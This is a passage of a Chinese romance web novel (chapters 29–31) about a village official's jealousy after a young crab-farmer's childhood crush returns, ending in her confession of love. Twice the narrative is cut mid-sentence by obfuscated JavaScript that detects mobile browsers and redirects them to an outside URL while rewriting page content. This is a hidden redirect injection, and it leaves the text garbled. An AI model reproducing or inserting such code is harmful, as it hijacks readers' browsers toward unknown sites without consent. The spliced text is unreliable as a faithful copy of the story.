她应该躲开的,她得躲开的,可是身体却不听使唤。 男人的嘴唇一点点靠近,温热的呼吸拂过她的皮肤,像是某种甜蜜的折磨。 在最后一刻,她下意识地闭上了眼睛。 “咔擦。” 落叶被踩碎的声音传来,如一盆冷水浇醒了余楸。 她猛地睁开眼睛,慌乱地后退,转身。 月光下,一个修长的身影站在那里,身边是一位温婉可人的姑娘。男人眉眼含笑,目光温柔地看着她。 原朗的神色冷了下来,他敏锐地察觉到余楸身体的僵硬,看着她咬着下唇的牙齿微微发颤的模样,直觉她是因为被别人看到亲吻的样子而感到被冒犯了。 “没事的,别怕。” 他侧身将她完全护在身后,声音轻柔地安抚她。 随即抬眼看向来人,语气陡然转冷。 “打断别人的告白不觉得很失礼吗?还不走?” 对面的男人似乎怔了一下,月光勾勒出他温润的轮廓。他身旁的姑娘轻轻拽了拽他的衣袖。 “我想你误会了。”男人开口,声音如山涧清泉。 原朗眯起眼睛,将余楸又往后护了护:“误会了就赶紧走。” 明明就差一点!差一点就能吻到她了! 这两个人真是...... 然而对方不仅没走,目光反而越过他,直直落在余楸身上。 原朗顿时火起,彻底挡死那道视线:“你听不懂话?” 话音未落,他突然感觉到衣袖被轻轻拽住。 回头时,心脏猛地一沉——余楸低着头,发丝垂落遮住半边脸庞,整个人都在微微发抖。 “怎么了?” 他慌忙捧起她的脸,指尖触到一片冰凉湿润。 “不哭不哭,我带你走好不好?” 余楸只是摇头,喉咙像被什么堵住似的发不出声音。 那个温润的声音再度响起。 “秋秋,好久不见。” 月光似乎在这一刻凝滞了。 原朗感觉到怀里的身体骤然僵硬,他的大脑一片空白,不知道什么时候松开了搂着怀里人的手。 不,不要是那样。 余楸缓缓抬头,睫毛上还挂着细碎的泪珠。 她努力扬起一个笑容,嘴角却止不住地颤抖。 “好久不见。” “阿源哥。” 29. 道歉 余楸的耳边嗡嗡作响,她很晕,很迷茫,很难受。 贺源真的回来了? 他身边那个姑娘是谁? 又为什么偏偏撞上这个时候——在她和原朗即将接吻的这一刻? 她的大脑一片空白,只感觉到原朗的手臂从她腰间缓缓松开。 “你是贺源?” 原朗的声音冷得像冰,带着毫不掩饰的敌意。 贺源微微一笑,目光却始终停留在余楸身上:“是,我是贺源。” 他顿了顿,语气温和,“请问你是?” “你没必要知道。” “也不配知道。” 原朗向前一步,彻底挡住余楸的视线。 余楸拽住原朗的袖子:“原朗,你不要这样说话。” 贺源的眉头微微皱起,目光在两人之间游移。 “秋秋,你们?” “只是朋友!” 余楸下意识解释,声音却越来越小。 她察觉到原朗在盯着自己,那样灼热又固执的眼神,像是要从她身上挖出点什么。 余楸冷不防被人拉进怀里,一双结实的手臂紧紧箍住她的腰。她还没反应过来,就感觉耳垂被温热的气息包裹。 ——原朗在含她的耳垂! 男人的舌尖轻轻扫过敏感的皮肤,激起一阵战栗。他抬眸直视贺源,眼神里尽是挑衅。 “原朗!” “你干什么!” 余楸颤抖着推他,声音里带着羞恼,却被他铁钳般的手臂搂得更紧。隔着薄薄的衣料,她能感受到他胸膛剧烈的起伏。 原朗冷笑一声,松开了她,却依然将她圈在臂弯里。 “如你所见。” 他盯着贺源,一字一顿。 “她是我女朋友。” “我没有答应你!” 余楸又急又气,声音都带了哭腔,“你不许瞎说!” 原朗的眼底闪过一丝受伤,但很快又被倔强取代。 “你早晚会答应的。” “这位先生,请你尊重秋秋的意愿。” “尊重?” 原朗嗤笑一声,语气讽刺,“你扔下她这么多年,现在带着别的女人回来,跟我谈尊重?” “原朗!”余楸猛地拽住他的手臂,“你别说了!” 贺源身边的姑娘轻轻拉了拉他的袖子,似乎想缓和气氛,但于事无补。 “秋秋是我的妹妹,我不允许任何人欺负她。” 贺源看向原朗,声音平静却锋利。 “尤其是你这种——” “自以为是的混蛋。” 原朗的瞳孔骤然紧缩,怒火几乎要冲破理智。 “我自以为是?”他冷笑,“那你算什么?一声不吭消失这么多年,现在突然出现,装什么深情哥哥?” “你不是在京城混得风生水起吗?巴巴的跑回来这个穷村子干什么?” “坐享其成四个字,倒是很配你啊!” “原朗!” 余楸的声音陡然拔高。 “你疯够了没有!” 原朗僵在原地,不可置信地看向她。 所有的愤怒都化成了茫然和受伤,透过那双湿漉漉的眼睛,一点一点地浸出来。 余楸也愣住了。 她怎么了?她到底是怎么了? 为什么会变得这样暴躁,这样不理智? 她怎么能,怎么能用上“疯”这个字? “你就这么心疼他?” 男人低着头,声音很轻,那似乎不是个问句,而是陈述句。 余楸张了张嘴,胸口闷得发疼。她看到原朗眼里的光一点点暗下去,心脏像是被一只无形的手狠狠攥住。 “是你先挑事的。”她硬着声音说。 “阿源哥什么都没做,你应该道歉。” 贺源皱眉:“秋秋,不用......” “道歉。” 余楸固执地重复,眼睛却不敢看原朗。 漫长的沉默。 男人的眼神从震惊到受伤,最后变成一种余楸从未见过的黯淡。 他沉默许久,忽然地扯了扯嘴角,露出一个自嘲的笑。随即抬起头,下巴微扬,眼神里又透出那股熟悉的傲气,就像他们第一次见面时那样。 “余楸,你听好了。” “我、不、道、歉。” “这辈子,除了你,谁都别想让我道歉。” 说完,他转身就走。 余楸下意识伸手去抓,却只抓到冰凉的空气。男人的背影在月光下显得那么孤独,那么决绝,仿佛再也不会回头。 “原朗......” 她的声音卡在喉咙里,眼泪终于夺眶而出。 * 余楸坐在客厅角落的木椅上,手里捧着的茶杯早已凉透。 余父余母和贺家父母聊得正欢,笑声一阵阵传来。贺源坐在他们中间,时不时接几句话,温润的嗓音依然如记忆中那般令人安心。 可余楸却觉得这一切都那么遥远,仿佛隔着一层毛玻璃。 记忆又不受控制地闪回,男人的眼神像是被击中的野兽,受伤又倔强。那个转身离去的背影,比任何言语都让她心痛。 她怎么能说那样伤人的话? 余楸,你真的真的好过分。 “秋秋?” 贺源的声音将她拉回现实。余楸抬头,发现所有人都看着自己。 “啊?” “我说,”贺源笑了笑,“这次回来发现村里变化真大,你做得很好。” “哦。谢谢。”余楸摩挲着杯沿,勉强扯出一个笑容。 “秋秋?”这次是母亲在叫她,“小姜问你话呢。” 贺源身边那位叫姜莱的姑娘正温和地看着余楸。她穿着简约大方的米色连衣裙,栗色的长发挽成一个低髻,手腕上戴着一只精致的玉镯——那是贺家祖传的,余楸一眼就认出来了。 “抱歉,我刚才走神了。”她放下茶杯,“你问我什么?” “听说你在做蟹塘直播?”姜莱的声音很好听,带着一点北方口音,“我觉得特别有意思,能带我去看看吗?” “明天吧,”她听见自己说,“今天太晚了。” “你们舟车劳顿,也该好好休息一下。” 余楸不愿承认的是,她不想和姜莱单独相处。这个女孩身上有一种熟悉的感觉,让她想起当初的原朗。 姜莱善解人意地点点头:“好啊,正好我带了相机,可以帮你拍些宣传照。” “小姜是摄影师呢,”贺母骄傲地补充,“在京城很有名的。” “阿姨您过奖了。”姜莱腼腆地笑了,手指自然地搭在贺源手背上。 余楸静静地看着这一幕。 她想起槐树下原朗按住自己的那只手,轻轻摩挲着自己手背的那个动作。 他是不是以为自己没发现呀,所以才那么小心地做出那样大胆的动作。 余楸起身,走向厨房,往茶壶里加茶叶,右手控制不住的颤抖,洒了一半在台面上。水烧开的呜呜声像是她脑海中嘈杂的思绪。 一切都乱了套。 “需要帮忙吗?” 余楸回头,姜莱不知何时站在了厨房门口。 “不用。”她条件反射地拒绝,又觉得太生硬,补充道,“你,你去坐着吧,客人不用忙。” 姜莱却没有离开的意思:“秋秋,贺源经常提起你。” 余楸的手一抖,热水溅在手背上,烫得她一个激灵。 “他说你小时候特别可爱,总是跟在他后面跑。”姜莱笑着说,“还说你现在把蟹塘经营得这么好,他特别为你骄傲。” 余楸不知道姜莱说这些话的用意,是想试探她吗,还是说,想立威? 可是她看起来真的很温柔,自己还不了解她,怎么能有这样龌龊的想法。 余楸机械地洗着茶杯,水声哗啦啦地掩盖了她紊乱的呼吸 她觉得自己糟透了。 “你们...…怎么认识的?” “公司年会上。” 姜莱靠在门框上,眼神温柔,“他帮我挡酒,结果自己喝多了,拉着我讲了一晚上他家乡的螃蟹。” “秋秋?水溢出来了。” 姜莱的声音惊醒了她。余楸慌忙关掉水龙头,茶水已经漫出了杯子,在台面上积了一小滩。 “对不起,我...…”余楸手忙脚乱地找抹布,“我有点累了。” 姜莱递来一块干净的毛巾:“你去休息吧,我来端茶。” 余楸没有推辞。 她匆匆说了句“失陪”,几乎是逃也似地上了楼。 进门,反锁。 她靠在门板上,又慢慢滑坐到地上。月光透过窗户照进来,落在床头挂着的那条项链上。 余楸走过去,取下项链,一滴眼泪毫无预兆地砸在小螃蟹上。 余楸愣住了,她不知道自己为什么要哭。 为了贺源? 为了那段无疾而终的暗恋? 还是为,原朗离开时那个受伤的眼神? 楼下传来阵阵笑声,姜莱清脆的声音格外突出。 余楸擦掉眼泪,把项链放回抽屉最深处。 她很想见原朗,想告诉他自己此刻混乱的心情。 可是见了面又能说什么呢? 说她在青梅竹马和他的告白之间摇摆不定? 说她甚至不确定自己有没有资格为他的落寞而心痛? 余楸有好多好多的问题,却找不到一个答案。 她蜷缩在床上,把脸埋进枕头里。 夜风掀起窗帘,带着湖水的湿气,有人在叹息。 * 几个空易拉罐歪歪斜斜地倒在湖边的草地上,银色的铝皮反射着冷光。 原朗又开了一罐啤酒,仰头灌了一大口,喉结随着吞咽的动作上下滚动。 “够了。” 裴知路一把夺过他手里的酒罐,“你把我喊来,就为了看你喝闷酒?” 酒液洒在原朗的白衬衫上,晕开一片深色的痕迹。他盯着那片污渍看了几秒,突然笑了。 “她喜欢他。” 裴知路皱眉:“谁?” “余楸。” “那她又喜欢谁?” 原朗的声音沙哑,“那个叫贺源的。” 他抓起另一个易拉罐,指节用力到发白:“十二岁给他绣荷包,十五岁写情诗,十八岁因为他离开村子去京城哭了一整晚。” “全村人都知道,他们是青梅竹马两小无猜。” “只有我不信邪。” 裴知路沉默地坐到他身边,也开了罐啤酒。 “刚才...…” “我差点亲到她。” 夜风吹乱了原朗的头发,遮住了他发红的眼角。他想起余楸闭着眼睛微微仰头的模样,那么乖,那么软,好像真的在等他吻下去。 然后那个人出现了。 他喊她“秋秋”。 她的心就立刻飞到他身边去了,没有为自己停留半分。 原朗捏扁了手里的空罐子,声音哽住,像是有人掐住了他的喉咙。 裴知路叹了口气:“你跟她表白了吗?” “怎么没表白?”原朗苦笑,“我说我有喜欢的人了,还霹雳吧啦说了一大堆,就差没直接报她身份证号了。” “然后呢?” “然后。”原朗的声音低得几乎听不见,“我问她该不该告白。” “她怎么说?” “她什么都没说。” “那个人一出现,她眼里就再没我了!” 带着怒气的声音在湖面上回荡,惊起几只夜鸟。 发泄完后,男人像被抽干了力气,颓然地低下头。 “你知道最可笑的是什么吗?” “嗯?” “很久以前,我就知道她有个阿源哥哥了。” “当时我还以为,她在喊我呢。” “后来知道了,是我自作多情。” “可是……” “可是我……” “可是你并不介意?” 裴知路替他把话说完。 “不!” “我介意!我他爹的介意的要死!” “我介意的快疯了!” “我每次装模作样地跟她打听那个男人的事,可她总是遮遮掩掩不愿意告诉我,她越不说我越想知道,我越想知道我就越难受!” 原朗几乎是扯着嗓子喊出来,良久,又闭上眼睛。 “喜欢的姑娘有个从小一起长大的白月光,没有哪个男人会不介意吧。” “但是我竟然,我竟然想给那个男人当替身。” “也许这样,我就能一直陪着她。” 裴知路沉默了,他不知道如何安慰,只是伸手拍了拍原朗的肩膀。 这个平日里骄傲到不可一世的男人,此刻低着头,手指无意识地抠着啤酒罐的拉环,像个迷路的孩子。 “你就这么喜欢她?” 原朗没有回答。 他抬头看向远处的蟹塘,那里有余楸亲手布置的增氧机,有余楸熬夜设计的围栏,有余楸的梦想和心血。 “记得我跟你说过,我第一次见她吗?” “她开着那辆破三轮,把我的法拉利撞了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15865875|175312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个大坑。” 裴知路点头。 “那时候我就想,这姑娘怎么这么莽。” “后来发现,她不是莽,是太认真了。” “认真到可以为了素不相识的小女孩跟全村人较劲,认真到暴雨天敢一个人划船进塘,认真到...…” 他的声音低了下去。 “连喜欢一个人,都认真了十几年。” “那你现在打算怎么办?” 原朗摇头。 “不知道。” “但我不会放弃。” 他站起身,拍了拍裤子上的草屑:“就算她永远把我当村支书,当合作伙伴,当...…替身。” “我也会一直陪着她。” 裴知路叹了口气:“你真是没救了。” “早就没救了。” 夜风拂过湖面,带着潮湿的水汽。原朗拿出手机,犹豫了一下,还是给余楸发了条消息: 【蟹塘的增氧机我检查过了,没问题。晚安。】 他觉得自己很可笑,正主都回来了,自己还在这上赶着求关注。 【谢谢。你,还好吗?】 原朗盯着屏幕看了很久,才慢慢回复: 【很好。明天见。】 裴知路摇头:“怎么现在就这点出息?” 原朗把手机放回口袋:“换做是林小樱,你也一样没出息。” 两人无奈一笑,酒罐相碰。 月光洒在肩上,像是无声的安慰。 * 余楸在躲着贺源,还有姜莱。 不知道出于什么心理,也许是怕尴尬吧,怕她自己尴尬,也怕他们尴尬。 只是他们,好像还没有要离开的意思。 第三天的晚上,余楸正想悄悄溜回家,却在院门口被贺源堵了个正着。 他穿着简单的白衬衫和休闲裤,站在槐树下对她微笑,就像多年前那个邻家哥哥一样。 “秋秋,”他的声音依然温柔,“要不要一起散步?” 余楸想拒绝,可看着贺源熟悉的笑脸,最终还是点了点头。 两人沿着村道慢慢走着,夕阳把影子拉得很长。 贺源先开口:“记得吗?小时候我们经常这样散步。” “嗯。”余楸轻声应道,盯着自己的脚尖。 “你总爱踩我的影子,说这样就能把我拴住。” “有一次你摔倒了,膝盖磕破了也不哭,就怕我觉得你娇气。” “还有那次,”贺源继续道,“你非要给我做螃蟹,结果把厨房搞得一团糟,被余叔骂了一顿。” “现在怎么样?厨艺见长了吗?” 余楸的心被针扎了一下。这些她遗忘的细节,如今被他一一道来,竟如此清晰。 她突然停下脚步。晚风拂过她的发梢,带着微凉的湿意。 “阿源哥。”她抬起头,声音有些发抖。 “为什么要说这些?” 贺源静静地看着她,目光温和而了然:“因为我想告诉你,我都记得。” 这句话像一把钥匙,打开了余楸心底尘封已久的匣子。那些年少的悸动,小心翼翼的喜欢,无疾而终的暗恋,全都涌了上来。 她的眼眶红了。 “对不起。” 贺源轻声道,“我早该发现的。” 余楸摇摇头,强忍着眼泪:“不,是我太幼稚了。” “秋秋,我给你讲讲我和小莱的事吧。” 余楸不想听,她不想见证他们的幸福,因为她现在的感情一团乱麻。 她还没有处理好和原朗之间的关系,她还有很多事要做,现在不是听八卦的时候。 但她拒绝不了——因为她的好脾气,因为她软弱的性子。 他们走到湖边,在长椅上坐下。贺源说起他和姜莱的初遇——公司年会上,他帮这个被灌酒的新人挡酒,结果自己喝得酩酊大醉。 “你知道吗?”贺源笑道,“她其实是个富家女,家里在京城有好几家公司。我是后来才知道的。” “我当时吓坏了,觉得我们差距太大,根本不可能。躲了她整整两个月。” “后来呢?” “后来她直接杀到我办公室。”贺源的眼睛亮了起来,“她说''贺源,你是个懦夫。连试都不敢试,怎么知道不行?''” “我们吵了一架,吵得很凶。”贺源继续说,“但吵完我发现,我根本离不开她。她懂我的理想,支持我的选择,哪怕和家里闹翻也要跟我在一起。” “秋秋,”贺源转向她,语气认真,“我想说的是,不要因为害怕就放弃。” “我看得出来,那个村支书很喜欢你。” “你,你怎么知道?”余楸的脸“腾“地红了。 “他看你的眼神,”贺源轻声说,“就像我看小莱一样。” 余楸低下头,手指绞在一起。 “可是...…”她的声音几乎微不可闻,“我们差距太大了。” 贺源笑了:“傻丫头,爱情里哪有什么差距?只有敢不敢。” 他站起身,向余楸伸出手:“走吧,我送你回去。” 余楸犹豫了一下,还是把手放了上去。 贺源的手温暖干燥,却再也不能让她心跳加速了。 “秋秋。” “勇敢一点。” “有些人,错过了就是一辈子。” 他的眼神温柔而坚定。 “我比任何人都希望,你能有一个最好的结局。” 余楸看着面前的男人,时光好像对他格外宽容,他依旧是记忆里温润的大哥哥。 她缓缓地伸手,缓缓地抱住贺源,双臂紧紧环住他的肩膀,像是要把这些年积攒的所有情绪都挤压进这个拥抱里。 眼泪最终还是落了下来。 “谢谢你,阿源哥。” 余楸的声音闷在他的肩头,带着轻微的颤抖。 “真的谢谢你。” 谢谢你陪伴我长大,谢谢你教会我成长。 她闭上眼睛,感受着这个拥抱里包含的所有告别——告别年少的悸动,告别无果的暗恋,告别那个总是跟随他的自己。 贺源轻轻搂住她的脑袋,那个总是跟在他身后喊他“阿源哥哥”的小丫头长大了。 他终于释然了——把余楸丢下去京城闯荡的愧疚,终于在今晚,随风消散了。 所以,再抱一会吧。 祝他们都有美好的未来。 时间在指尖流逝,不知道过了多久。 该放开了。 就在余楸准备松手的瞬间,瞥见不远处站着一个熟悉的身影。 而后,蓦然僵住。 30. 不要喜欢他 贺源察觉到余楸的愣神,他转过身去。 两个男人的目光在空气中相撞。 那位新书记的眼神像是一杯被打翻的苦咖啡——委屈、愤怒、幽怨、嫉妒,所有情绪混合在一起,却又被强行压抑在那双总是带着笑意的眼睛里。 贺源被盯得有些不自在。 男人像是要说什么,最终却只是深深地看了余楸一眼,转身就走。 “原——”余楸下意识地向前迈了半步,声音卡在喉咙里。 她想追上去解释,可是双脚却像生了根一样无法移动。 解释什么呢? 解释这个拥抱只是告别? 解释她和贺源早已是过去式? 可她又用什么立场向原朗解释这些? 余楸抬起手,用指节迅速抹了一下眼角,然后对贺源挤出一个笑容:“谢谢你啊阿源哥,你快回去吧,嫂子在等你。” 余楸指了指不远处的小巷口,姜莱正站在那里,一袭淡蓝色连衣裙在微风中轻轻摆动。她似乎察觉到了这边的气氛,体贴地没有靠近。 贺源的目光在余楸和原朗离去的方向之间徘徊,最终叹了口气:“回去注意安全。” 他犹豫了一下,又补充道:“那个村支书...…” “他看起来很在意你。” 余楸没有回答,只是挥了挥手,看着贺源走向姜莱。她转身往相反的方向走去,脚步越来越快,最后几乎是小跑起来,好像这样就能把刚才那一幕甩在脑后。 全都甩掉吧,过去的一切都甩掉吧。 她应该面对未来了,她想要面对未来了。 * “她还好吗?” 姜莱接过贺源递来的冰镇柠檬茶,两人沿着林荫道慢慢走着。 贺源摇摇头:“表面上很坚强,实际上...…” 他想起余楸泛红的眼眶和强撑的笑容。 “她还是那个倔强的小丫头,什么都往心里藏。” 姜莱轻轻抿了一口饮料,酸甜的滋味在舌尖蔓延。 她侧头看着自己的未婚夫,她比任何人都了解贺源和余楸之间的故事——那个农村少年和邻家女孩若有若无的情愫,以及最终因为犹豫和命运而错过的遗憾。 “你跟她说明白了吗?”姜莱问道,声音温柔得像是怕惊扰了什么。 “嗯。” 贺源点点头,“我说我很抱歉当年的离开,也很高兴看到她现在的成就。我希望她能放下过去。” “找到真正属于她的幸福。” 姜莱停下脚步,伸手抚平贺源衬衫上被余楸拥抱时留下的细微褶皱。她的动作轻柔而细致,像是在抚平某个看不见的伤口。 “你知道吗?” 姜莱突然说道,“那天晚上在你家吃饭时,余楸几乎没有正眼看过你。” 贺源愣了一下:“是吗?我以为...…” “她一直在低头喝茶,或者看着窗外。”姜莱的嘴角浮现出一丝了然的微笑,“就像你当初对我描述的那样——当你面对那些''城里人''时,总觉得低人一等,连直视对方眼睛的勇气都没有。” 贺源沉默了。 他想起自己刚去北京上大学时的窘迫,面对姜莱那些家境优渥的朋友时的手足无措。是姜莱一点一点帮他建立起自信,让他明白出身并不能定义一个人的价值。 “现在轮到余楸了。”姜莱轻声说,“我能看出来,她的心在那个帅气的村支书身上。只是她可能还没意识到,或者不敢承认。” “原朗确实是个不错的人。” 贺源回忆着村委会里大家对这位新书记赞不绝口的场景,“虽然看起来像个养尊处优的大少爷,但实际上很能为村民着想。” “最重要的是,他能为秋秋着想。” “虽然,有点疯。” 姜莱轻笑出声:“你们俩真有意思。一个农村出身的高管总觉得自己配不上城里姑娘,一个事业有成的塘主又觉得自己配不上京城少爷。” 她挽住贺源的手臂,“爱情哪有那么多条条框框?” 贺源低头看着自己的未婚妻,他想起第一次见到姜莱时,她站在公司会议室里侃侃而谈的样子,那时的他怎么也想不到,这个光芒四射的女孩有一天会成为他的爱人。 “你说得对。”贺源握紧姜莱的手,“我希望秋秋能早点明白这个道理。” “她会的。” 姜莱语气笃定,“我看过她直播卖螃蟹的视频,那么温柔坚定的一个女孩子,不可能永远困在过去里。” 她停顿了一下,眼中闪过狡黠的光芒。 “再说,那位新书记看起来,可不像会轻易放弃的人。” 贺源想起原朗刚才那个五味杂陈的眼神,不由得失笑:“确实。那家伙看我的眼神,简直像是要把我生吞活剥了。” “吃醋的男人最可爱了,不是吗?”姜莱调皮地眨眨眼。 “不过说真的,我很喜欢余楸。她能把蟹塘经营得这么好,还坚持传承渔歌文化,真的很了不起。” 她的声音变得柔和。 “我希望她能幸福,就像我们一样。” 贺源将姜莱拉近,在她额头上轻轻一吻:“谢谢你的理解。” “每个人都有自己的过去。”姜莱靠在他肩上,“重要的是现在和未来,不是吗?” “秋秋会有自己的未来的。” “我相信,那是个很好的未来。” * 第二天傍晚,贺源一家收拾妥当,准备离开村子。 余楸站在村口的路边,看着那辆黑色轿车缓缓驶离,尾灯在暮色中渐渐远去,像两颗逐渐熄灭的星。她轻轻呼出一口气,心里莫名有些空落落的。 她转身,冷不防对上一双眼睛。 原朗就站在不远处,路灯的光斜斜地打在他身上,勾勒出他略显憔悴的轮廓。他眼下泛着淡淡的青黑,下巴上冒出了一层细密的胡茬,衬衫的领口微微敞开,整个人看起来疲惫又沉默。 林书记告诉余楸,原朗最近几乎住在村委会,常常加班到深夜,有时候干脆直接睡在办公室里。 她原本以为他只是工作忙,可现在看着他这副模样,心里止不住地酸。 余楸犹豫了一下,还是朝他走了过去。 “你怎么来了?”她轻声问。 “最近不是很忙吗?有空怎么不回去休息?” “你看你,黑眼圈多重。” 原朗看着她,眼神有些暗。 半晌,他低下头,声音很轻,带着点委屈。 “你是在嫌弃我吗?” “什么?” “你是不是觉得我不该来,破坏了你们告别的雅兴,是吗?” 余楸伸手,轻轻拽了一下男人的袖子,哄他问道:“当然不是,你怎么会这样想?” 原朗抬起头,目光直直地望进她眼底,像是想确认什么。 过了一会儿,他突然开口:“余楸。” “嗯?” “我想喝你煮的粥。”他低声道。 “做给我喝,好不好?” 余楸上一次煮粥,也是因为他生病了。 可是连她自己都嫌弃得不行的一锅粥,不知道这个养尊处优的少爷为什么还会想喝。 看着原朗微微泛红的眼尾,还有那副明明疲惫却还要强撑的样子,余楸连一个拒绝的字都说不出来。 她什么时候,这么看不得他委屈了? 下雨了,夏天总是顽皮的。 余楸不想看见原朗被淋湿,他的眼神已经够湿漉了。 “好。”她听见自己说。 * 原朗的家依旧很干净,男人尽管忙碌还是会把家里收拾得很好。 这是余楸很早就发现的。 她让他坐在沙发上别动,自己熟门熟路地进了厨房。 上次煮粥时手忙脚乱,水放少了,米也煮得半生不熟,最后糊成一团,自己尝了一口就皱眉头,根本不敢想象原朗是怎么吃下去的。 可是,他居然还想喝,也不怕吐出来。 她叹了口气,苦笑一下,从橱柜里翻出米,重新淘洗、浸泡,又切了点姜丝和青菜,动作比上次熟练了些。 厨房里很安静,只有锅里的水咕嘟咕嘟地冒着泡。 余楸时不时回头看向客厅,发现原朗一动不动地坐在那里,目光一直追随着她,像是怕她下一秒就会消失一样。 她的心软得一塌糊涂,窗外淅淅沥沥的小雨也跟着停了,仿佛连天气都舍不得再让她难过 粥煮得比上次顺利,米粒渐渐变得软糯,香气弥漫开来。她尝了一口,居然还不错,至少没糊。 她盛了一碗,小心翼翼地端到客厅,却发现原朗靠在沙发上,闭着眼睛,呼吸均匀而绵长。 睡着了。 余楸怔怔地看着他。 男人的睫毛在眼下投下一小片阴影,眉头微微皱着,像是梦里也不安稳。 她忽然觉得胸口闷闷的。 轻手轻脚地放下粥碗,转身上楼,去他的卧室抱了一床被子下来,小心翼翼地盖在他身上,动作格外轻,怕惊醒他。 余楸就这样静静地站在沙发边,看着熟睡的男人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15873747|175312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >就在这一瞬间,她意识到了一件事。 她喜欢原朗。 或者不是意识到,而是,她终于敢承认了。 她喜欢原朗。 不是那种对朋友的喜欢,不是对村支书的敬佩,而是,会因为他疲惫的样子心疼,会因为他一句话就心软,会因为他委屈的眼神而手足无措的喜欢。 余楸抿了抿唇,眼眶有些发热,无奈地抹去眼角泪水。 是从什么时候开始的呢? 她记不得了。 她只知道,她现在想让他好好睡一觉。 客厅的灯被余楸关上了,整个空间陷入一片静谧的黑暗。她坐在沙发上,轻轻靠在原朗身边,肩膀挨着他的肩膀,能清晰地感受到他身上的温度和淡淡的松木香气。 仰着头,盯着天花板发呆,脑子里乱糟糟的,有好多话想说,又不知从何说起。 手机突然响了,是林小樱。 余楸几乎是逃也似地站起来,快步走到后院门边,接起电话。 “喂?” “秋秋。”林小樱的声音从听筒里传来,语气担心,“你在哪里呀?我去你家找你,你不在。” 余楸抿了抿唇,低声道:“我在原朗家。” “原书记生病了吗?” “嗯,不太舒服。” 电话那头沉默了一秒。 “秋秋,你是不是……” “你是不是喜欢上原书记了啊?” 余楸没吭声。 半晌,她回了句:“不知道。” “但我想,大概率是的。” 余楸低下头,手指无意识地抠着门框:“小樱,你知道,我已经,很久很久,没有体会过喜欢的感觉了。” “但是,我见不到他的时候会想他,见到他的时候又紧张,他生病了我会心疼,他委屈了我会心软。” “我感觉,我的心都扑在他身上了。” “和以前对贺源哥的感觉,有点像。” “但又……不太一样。” “所以,这是喜欢吧。” 一时间,林小樱也不知道说什么。但她有一个问题,一个必须要问的问题——在裴知路跟她说了那晚的事情后。 “秋秋,我想问你一个问题。” “你说。” “你对原书记的这份喜欢,是因为他本人,还是因为,” “他填补了阿源哥离开后的空缺?” 余楸怔住,她好像,从来没有考虑过这个问题。 从她认识原朗到现在,她总是下意识地把原朗和贺源分开——在她心里,他们本来就是两个完全不同的人。 刹那间,她似乎感受到什么。 猛地回头,对上了一双泛着水光的眼睛。 原朗站在她身后,脸色苍白,嘴唇紧抿,眼底翻涌着她看不懂的情绪。 他听到了? 他听到了多少? 余楸的心脏骤然紧缩,手机差点滑落。 “原朗……”她下意识地喊他。 可男人没给她说完的机会。 他猛地一步上前,一只手扣住她的腰,另一只手撑在她耳侧的墙上,直接将她抵在了门框边。 余楸呼吸一滞,后背紧贴着冰凉的墙面,身前却是他滚烫的体温。 “原……” 她的话没说完,原朗已经低头,狠狠地吻在了她的颈侧。 不是温柔的触碰,而是近乎撕咬的亲吻,带着怒意,带着不甘,带着某种近乎绝望的占有欲。 余楸浑身一颤,手指下意识地抓住了他的衣襟。 “谁在亲你?” 原朗哑着嗓子问,唇齿仍贴着她的皮肤,呼吸灼热。 余楸被亲得说不出话,只觉得整个人都要烧起来了,连带着所有的思绪燃烧殆尽。 原朗没等她回答,又低头,这次吻得更重,牙齿轻轻磨蹭着她的锁骨,舌尖舔过她跳动的脉搏。 “余楸。” 他咬着她的耳垂,声音低哑得不像话。 “告诉我。” 余楸腿软得几乎站不住,只能攀着他的肩膀,声音发颤:“你。” “我是谁?” “原朗。” 原朗的动作顿了一下,随即更用力地吻她,从颈侧到锁骨,再到下巴,最后几乎要贴上她的唇,却又在最后一厘米停住。 “余小秋。” 男人抵着她的额头,呼吸交错。 “我也是阿原。” 他的声音近乎恳求。 “你不要喜欢他。” “只喜欢我吧。” 31. 宝宝 余楸被抵在墙上,耳边还回荡着男人那句近乎乞求的“只喜欢我吧”。 她的心脏跳得飞快,几乎要不能呼吸。 原朗的眼睛在昏暗的光线下泛着水光,像是被雨水打湿的黑曜石,带着她从未见过的脆弱。 ——他在害怕。 那个总是游刃有余、带着几分傲气的原朗,此刻却像个害怕被抛弃的孩子一样,用近乎卑微的语气求她只看着他一个人。 她的指尖不自觉地抚上他的脸颊,触到一片湿润。 他哭了? 又哭了。 因为她。 “原朗......”余楸轻声唤他,声音里带着连自己都没察觉的颤抖。 原朗却像是被这个称呼刺痛了一样,猛地低头咬住她的颈侧。不是亲吻,而是带着惩罚意味的轻咬,牙齿磨蹭着她敏感的皮肤,引得她一阵战栗。 “为什么……” “为什么你梦里喊的……一直是他。” 男人的声音闷在颈窝里,呼吸灼热。 “那天你发烧,我守了你一整夜,你迷迷糊糊地喊’阿源‘,我又自作多情地以为你是在叫我。” 余楸愣住了。 她完全不记得自己发烧时说过什么梦话,但她迫切想要把这个总惹祸端的习惯给改掉。 “你一直都是这么叫他的,对吧?” “阿源......阿原......多像啊。” “你可是知道吗?我也是阿原。” “我妈、我的家人、我的朋友,他们都会喊我阿原。” “我承认,我第一次听见你喊出这个称呼,我很惊喜。” “不是惊讶,是惊喜。” “我下意识觉得我们不该是那样天天斗嘴的冤家,我觉得,也许你对我来说,是一个不一样的朋友。” “可是我错了。” 